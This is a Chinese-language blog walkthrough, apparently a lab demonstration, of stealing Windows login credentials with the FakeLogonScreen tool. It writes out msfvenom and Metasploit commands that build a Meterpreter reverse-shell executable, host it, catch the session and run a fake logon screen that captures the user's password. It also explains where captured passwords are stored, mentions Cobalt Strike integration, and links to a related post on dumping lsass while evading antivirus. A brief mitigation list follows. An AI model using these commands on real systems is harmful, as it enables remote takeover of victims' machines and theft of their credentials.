FakeLogonScreen抓取Windows凭证
FakeLogonScreen抓取Windows凭证
实践中使用的配置
攻击者:
操作系统: Kali Linux 2020.1
IP: 192.168.1.13
目标:
作业系统: Windows 10(Build 18363)
IP: 192.168.1.11
情境
有一个系统与攻击者连接到相同的网络,并且攻击者正在寻找目标系统的凭据。目标已经拥有的信息是IP地址和OS系统的知识。这种信息很容易获得。
有效载荷创建
现在,我开始使用msfvenom工具根据目标系统的OS来制作有效负载。我以LHOST的身份提供了Kali的IP地址。当目标计算机运行Windows时,我将有效负载设置为可以轻松执行的可执行文件。制作有效负载之后,我运行了Python One-liner以创建一个HTTP服务器,该服务器将在目标计算机的端口80上托管有效负载。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.233.128 lport=4444 -f exe >> payload.exepython -m SimpleHTTPServer 80
现在,在现实生活中,攻击者将使用某种社会工程攻击来操纵目标用户,以将恶意负载下载到他们的系统上。这可以在进行实际攻击之前很长时间完成。
起始侦听器
由于我们已经准备好并托管了有效负载。现在我们需要启动一个侦听器,在该侦听器中,我们将从有效负载中接收会话。设置正确的配置后,我直接进入目标计算机并执行了有效负载。同样,这是一个实验室环境演示。实际情况会有所不同。
上载FakeLogonScreen可执行文件
在获得Meterpreter会话之后,我们将FakeLogonScreen.exe上载到目标系统。可以在克隆的目录中找到此可执行文件。成功上传后,我们使用shell命令进入目标计算机的命令行。现在,如给定的图像所示,运行可执行文件。
use multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.233.128set lport 4444runupload FakeLogonScreen.exeshellFakeLogonScreen.exe
在目标端输入凭证
一旦通过外壳运行了可执行文件,目标系统上的所有当前窗口就会最小化,并弹出登录屏幕,如给定的图像所示。这似乎是一个非常真实的登录屏幕。目标用户假定必须有意外注销。因此,为了承担他/她的工作,目标用户在不知不觉中输入了凭据。
现在,为了证明已检查密码,我们首先输入了错误的凭据。登录屏幕返回错误“密码不正确。再试一次”。这证明目标用户必须输入有效的凭据才能通过。
接下来,我们输入了有效的凭据,然后看到所有最小化的窗口都恢复了原来的状态。
拿取凭证
让我们回到攻击者机器上,看看我们是否能够获取这些密码。如下图所示,我们看到FakeLogonScreen侦听器的工作方式类似于按键记录器。我们首先在密码字段中输入“密码错误”,以检查错误的情况。然后,我们输入正确的密码“ 123”,并成功获取了目标用户的密码。
附加信息
我们先前下载的zip文件中还有另一个可执行文件。它被命名为“ FakeLogonScreenToFile.exe”。该文件的工作方式类似,但是除了显示密码外,还将密码存储在以下位置:
%LOCALAPPDATA%\ Microsoft \ user.db
该工具也可以在Windows 7上使用。尽管已经达到其终止寿命,但仍有大量系统在生产环境中运行Windows 7。如果需要,可以在“ DOTNET35”目录中找到它。
您还可以集成此工具以与Cobalt Strike一起使用。在这里查看。
缓解措施
- 验证下载源。
- 监视AppData目录中的user.db文件。
- 正确检查登录屏幕中的所有链接。
- 实施较短的密码更改策略。
FakeLogonScreen抓取Windows凭证的更多相关文章
- mimikatz2.0抓取WINDOWS密码
看吾爱的,刚好问同事说这个也用过,以后内网渗透的话比较方便 http://www.52pojie.cn/thread-264895-1-1.html ========================= ...
- 抓取windows系统进程
最近在开发辅流分享界面,然后之前的windows编程的代码都忘记了,翻到了一个博客,具体的还是去msdn去查函数,这个是入门的链接如下: http://blog.csdn.net/zdragon200 ...
- 从网页上抓取Windows补丁信息然后整型输出(Python)
Powershell实现:http://www.cnblogs.com/IvanChen/p/4488246.html 今天通过Python实现: # coding=utf-8 import re i ...
- 绕过杀毒软件抓取windows密码
使用procdump,由于是微软的东西,带微软签名杀软不会报毒. procdump -accepteula -ma lsass.exe lsass.dmp copy出 lsass.dmp到本机. mi ...
- 从网页上抓取Windows补丁信息然后整型输出(PowerShell)
$report = [pscustomobject]@{'Date' = $null; 'MSRC' = $null; 'KB' = $null; 'Severity' = $null; 'Versi ...
- windows密码抓取工具-mimikatz
前言 介绍一下windows的密码hash值的组成: Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如: Administrator::C8825D ...
- 【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志
问题描述 在App Service For Windows的环境中,我们可以通过ArmClient 工具发送POST请求在Web应用的实例中抓取网络日志,但是在App Service For Linu ...
- windows中抓取hash小结(上)
我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个"前提"-----如何在windows系 ...
- Windows Phone & Windows App应用程序崩溃crash信息抓取方法
最近有用户反馈,应用有崩溃的情况,可是本地调试却无法重现问题,理所当然的,我想到了微软的开发者仪表盘,可以查看一段时间内的carsh记录,不过仪表盘生成carsh记录不是实时的,而且生成的报告查看非常 ...
随机推荐
- C++ vector对象是如何增长的
为了支持快速随机访问,vector将元素连续存储---每个元素紧挨着前一个元素存储. 如果没有空间容纳新元素: 容器必须分配新的内存空间来保存已有元素和新元素,将已有元素从旧位置移动到新空间中,然后添 ...
- Linux中两个重要的基础服务
本文服务器基于centos7,客户端Windows10 FTP FTP(File Transfer Protocol),文件传输协议,是一个比较古老的基于TCP,用于不同计算机间传递文件的协议. 安装 ...
- Redis(四):del/unlink 命令源码解析
上一篇文章从根本上理解了set/get的处理过程,相当于理解了 增.改.查的过程,现在就差一个删了.本篇我们来看一下删除过程. 对于客户端来说,删除操作无需区分何种数据类型,只管进行 del 操作即可 ...
- 动态规划 之 区间DP练习
前言 \(Loj\) 放上了那么多<信息学奥赛一本通>上的题(虽然我并没有这本书),我要给它点一个大大的赞 ^_^ 以后分类刷题不愁啦! 正文 那就一道道说吧. 石子合并 将 \(n\) ...
- 开发环境Vue访问后端接口教程(前后端分离开发,端口不同下跨域访问)
原理:开发环境下的跨域:在node.js上实现请求转发,vue前端通过axios请求到node.js上,node.js将请求转发到后端,反之.响应也是,先到node.js上,然后转发vue-cil项目 ...
- 频繁插入(insert)的业务,用什么存储引擎更合适? | 数据库系列(转)
本文来自微信公众号 继续回答星球水友提问: 沈老师,MyISAM只支持表锁,但网上文章却说,在并发插入量比较大的时候,比较适合使用MyISAM,这矛盾吗? 这个问题,涉及MySQL表锁的一些细节,借着 ...
- 机器学习环境配置系列六之jupyter notebook远程访问
jupyter运行后只能在本机运行,如果部署在服务器上,大家都希望可以远程录入地址进行访问,这篇文章就是解决这个远程访问的问题.几个基本的命令就可以搞定,然后就可以愉快的玩耍了. 1.安装jupyte ...
- ApplicationContextAware获取bean
ApplicationContextAware获取bean 概述 在某些特殊的情况下,Bean需要实现某个功能,但该功能必须借助于Spring容器才能实现,此时就必须让该Bean先获取Spring容器 ...
- 关于selenium自动化元素定位问题解决的几种方法
遇到了元素定位问题和定位到后无法执行点击操作等,闲话少说,直奔主题: 1.元素定位不到一般有如下3种情况,大家如果遇到了可以对号入座哈 a.查找的元素不在当前窗口中 解决方法:使用driver.swi ...
- SpringBoot+MyBatis项目Dao层最简单写法
前言 DAO(Data Access Object) 是数据访问层,说白了就是跟数据库打交道的,而数据库都有哪几种操作呢?没错,就是增删改查.这就意味着Dao层要提供增删改查操作. 不知道大家是怎么写 ...